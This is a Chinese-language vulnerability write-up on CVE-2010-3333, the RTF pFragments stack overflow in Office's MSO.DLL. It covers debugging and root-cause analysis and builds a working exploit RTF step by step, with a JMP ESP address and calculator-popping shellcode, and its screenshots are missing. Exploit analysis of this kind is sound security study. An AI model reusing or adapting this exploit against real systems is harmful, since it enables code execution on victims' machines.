Note——CVE-2010-3333
0x01 漏洞描述 漏洞成因:栈溢出漏洞。MSO.DLL在处理pFragments数组时未校验复制长度,故可构造数据造成栈溢出,劫持执行流。 影响版本:Microsoft Office XP SP3, Office 2003 SP3, Office 2007 SP2, Office 2010, Office 2004 and 2008 for Mac, Office for Mac 2011。
0x01 漏洞描述
漏洞成因:栈溢出漏洞。MSO.DLL在处理
pFragments数组时未校验复制长度,故可构造数据造成栈溢出,劫持执行流。影响版本:Microsoft Office XP SP3, Office 2003 SP3, Office 2007 SP2, Office 2010, Office 2004 and 2008 for Mac, Office for Mac 2011。
0x02 漏洞分析
分析环境:
OS版本:Windows XP SP3
Word版本:11.0.5604.0
MSO.DLL版本:11.0.5606.0
使用msf生成POC:

WinDbg附加WINWORD.exe,打开POC文档,崩溃点如下:

崩溃原因是EDI指向内存区域为只读属性:

重新附加WINWORD.exe,bp 30e9eb88设置断点,载入POC,成功断下,查看调用堆栈如下:

IDA载入MSO.DLL,定位到0x30F4CC93位置,查看其如何传递参数:

EDI指向sub_30F4CC5D中局部变量,距离函数返回地址0x14字节,而sub_30E9EB62在执行复制操作之前并未检查长度,故可以造成栈溢出。
ESI与sub_30D2810C返回值相关,跟进分析:

而ECX值需回溯到sub_30F4CD58中:

回溯到sub_30F4CD58:

回溯到此,三个参数的传递过程都已清晰,参数1:

参数2为ebp-10h,参数3为0。
借由WinDbg查看参数1具体值,bp 30F4CD58:

bp 30F4CC73:

bp 30F4CC7D:

最终传递给sub_30E9EB62三个参数如下:

计算复制长度及源位置:

WinHex查看POC:

整体思路:由崩溃点确定漏洞触发位置——>回溯调用栈——>分析参数如何计算及传递。
0x03 构造POC
查阅Microsoft Office Word 2003 RTF Specification可知:

定义数组规范如下:

定义Drawing Object(绘图对象)属性规范如下:

首先我们构造一RTF文档如下:
{\rtf1{\shp{\*\shpinst{\sp{\sn pFragments}{\sv 1;1;12345678}}}}}
执行到0x3122FFE8处:

此时其返回值为0,不会执行到调用Ordinal501处:

而Ordinal501过程会修改内存0x014d1592处内容,进而影响到sub_30E9EB62中复制长度:

接着构造RTF文档如下:
{\rtf1{\shp{\*\shpinst{\sp{\sn pFragments}{\sv 1;1;123456780800616162636465666768}}}}}
执行完0x3122FFE8后返回值为1:

跟进Ordinal501:

继续执行到0x30E9EB88处:

最终构造POC内容如下:
{\rtf1{\shp{\*\shpinst{\sp{\sn pfragments}{\sv 1;1;1234567801016161616162626262636363636464646465656565904dc57dAABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD33c050b82e646c6c50b8656c333250b86b65726e508bc450b87b1d807cffd033c050b82e65786550b863616c63508bc46a0550b8ad23867cffd033c050b8faca817cffd0}}}}}
{\rtf1{\shp{\*\shpinst{\sp{\sn pfragments}{\sv 1;1;无需多言,12345678是填充数据,0101是复制长度(笔者并未精确计算),6161616162626262636363636464646465656565用以填充栈,904dc57d是JMP ESP指令地址,AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD会被处理为全零(详见下文),33c050b82e646c6c50b8656c333250b86b65726e508bc450b87b1d807cffd033c050b82e65786550b863616c63508bc46a0550b8ad23867cffd033c050b8faca817cffd0是一段弹计算器Shellcode(一定要以小写字母形式写入)。
注:
AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD会被处理为全零据笔者调试,复制字符中的大写字母会以0进行替换:

而
30F4CB29处指令会将[ebp+10h]与0进行比较——若不相等,会调用sub_30F4CE43,如此一来,会出现如下提示:
而不会跳转到Shellcode执行。
[ebp+10h]指向数据正好位于此块中,故我们借其处理机制将之全部替换为0,以完成跳转:

最终成功弹出计算器:

上述内容笔者采用"正序"阐述,但实际调试过程却是"倒序"。最初切入点是
0x30E9EB6F,确定长度字节位置:
而此处内存由
VirtualAlloc分配,故附加WINWORD.EXE后于该API处设断,F9运行起来,打开RTF文档,第三次断下时:
此时便可于
0x14D158C处设置内存访问断点。
很赞的分析文章!请教下图片标注使用哪款软件做的?